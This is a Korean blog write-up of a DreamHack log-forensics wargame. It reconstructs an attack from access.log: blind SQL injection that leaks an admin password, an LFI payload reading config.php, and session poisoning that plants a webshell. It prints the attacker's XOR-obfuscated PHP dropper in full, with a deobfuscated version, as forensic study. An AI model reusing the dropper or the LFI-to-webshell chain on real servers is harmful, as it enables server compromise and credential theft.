https://dreamhack.io/wargame/challenges/71
난이도: Level 2
- Level 0 (admin 패스워드 탈취)
위 지문을 읽고 access.log를 확인해 보았습니다.
admin 키워드로 검색하여 찾아보던 중 /admin 에서 활동하는 로그가 있어 위로 올라가 보니 Blind SQL Injection을 시도한 로그가 있었습니다.
admin 패스워드를 알아내기 위해 시도한 로그를 찾아보니 17101번 줄부터 users 테이블에 대해 Blind SQL Injection 공격을 시도하는 것을 알아냈습니다.
쭉 내리다 보니 HTTP Response status 값이 200이 아닌 500으로 되어 있는 로그를 확인하였습니다. 첫 번째 글자가 97인 것을 보니 ASCII로 admin의 a라고 생각되어 status 값이 500인 로그 위주로 정수 값들을 정리하였습니다.
arr = [97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116]
for i in arr:
print(chr(i), end='')
그 결과, 아래와 같이 admin 패스워드를 얻을 수 있었습니다.
- Level 1 (config.php 코드 추출 Payload)
config.php를 검색해보니 다른 로그들은 config.php가 존재하는지 확인하기 위해 여러 시도들을 한 것으로 보이고, 위 로그는 I/O Stream을 제공하는 php://를 사용하고 있고, ../config.php 접근하는 것을 통해 LFI를 시도하고 있기에 config.php 코드를 추출하는 페이로드임을 알아냈습니다.
- Level 2 (LFI 취약점 공격 & WebShell)
위 로그를 보면, LFI을 시도하여 여러 자원에 접근을 시도하고 있는 것을 알 수 있습니다.
이후, 20643번째 줄에서 memo.php에 접근하였습니다. memo.php는 세션에 HTTP Request GET을 통해 받은 입력받은 것을 세션에 저장하는 기능을 합니다.
<a href="javascript:history.back(-1);">Back</a><br/><br/>
<?php
if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }
if(isset($_GET['memo'])){
$_SESSION['memo'] = $_GET['memo'];
}
if(isset($_SESSION['memo'])){
echo($_SESSION['memo']);
}
?>
<form>
<input type="hidden" name="page" value="memo.php">
<div class="form-group">
<label for="memo">memo</label>
<input type="text" class="form-control" name="memo" id="memo" placeholder="memo">
</div>
<button type="submit" class="btn btn-default">Write</button>
</form>
다음 20643번 줄에서 memo.php를 통해 WebShell을 삽입하고, 그다음 줄에서 명령을 실행시키기 위해 WebShell이 저장된 경로인 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732에 접근하였습니다.
그러므로, 정답은 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 입니다.
- Level 3 (WebShell 경로)
20644번째 로그를 보면, php 코드가 인자로 넘어간 것을 볼 수 있습니다. 해당 부분을 URL Decoder를 통해 디코딩한 후, PHP Beautifier를 사용하여 코드를 정리해 보면 아래와 같이 나오게 됩니다.
<?php function m($l, $T = 0)
{
$K = date("Y-m-d");
$_ = strlen($l);
$__ = strlen($K);
for ($i = 0; $i < $_; $i++) {
for ($j = 0; $j < $__; $j++) {
if ($T) {
$l[$i] = $K[$j] ^ $l[$i];
} else {
$l[$i] = $l[$i] ^ $K[$j];
}
}
}
return $l;
}
m("bmha[tqp[gkjpajpw")(
m("+rev+sss+lpih+qthke`w+miecaw*tlt"),
m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')
); ?>
위 코드를 실행하려하면, 밑에 m 함수 호출하는 코드가 이상하게 되어있어 에러가 발생하게 됩니다.
<?php function m($l, $T = 0)
{
$K = date("2020-06-02");
$_ = strlen($l);
$__ = strlen($K);
for ($i = 0; $i < $_; $i++) {
for ($j = 0; $j < $__; $j++) {
if ($T) {
$l[$i] = $K[$j] ^ $l[$i];
} else {
$l[$i] = $l[$i] ^ $K[$j];
}
}
}
return $l;
}
echo m("bmha[tqp[gkjpajpw");
echo "\n";
echo m("+rev+sss+lpih+qthke`w+miecaw*tlt");
echo "\n";
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>
그리하여, m 함수를 총 3번 호출하는 코드로 변경하고, 위에 Y-m-d와 XOR 연산을 하고 있기에 로그가 발생한 날짜인 2020-06-02로 변경해 주면 위와 같은 코드가 됩니다.
실행 결과를 확인해보면, /var/www/html/uploads/images.php 경로에 웹쉘이 업로드된 것을 알아낼 수 있습니다.
- Level 4 (WebShell 처음 실행된 명령어)
images.php 코드가 웹쉘이므로, whoami 명령을 가장 먼저 시작하였다는 것을 알 수 있습니다.
마지막 답을 제출하면, 이와 같이 플래그를 획득할 수 있게 됩니다.
'DreamHack' 카테고리의 다른 글
[DreamHack] Tomcat Manager (2) | 2023.09.04 |
---|---|
[DreamHack] funjs (0) | 2023.09.04 |
[DreamHack] DOM XSS (0) | 2023.09.01 |
[DreamHack] CSS Injection (2) | 2023.08.31 |
[DreamHack] Relative Path Overwrite Advanced (2) | 2023.08.13 |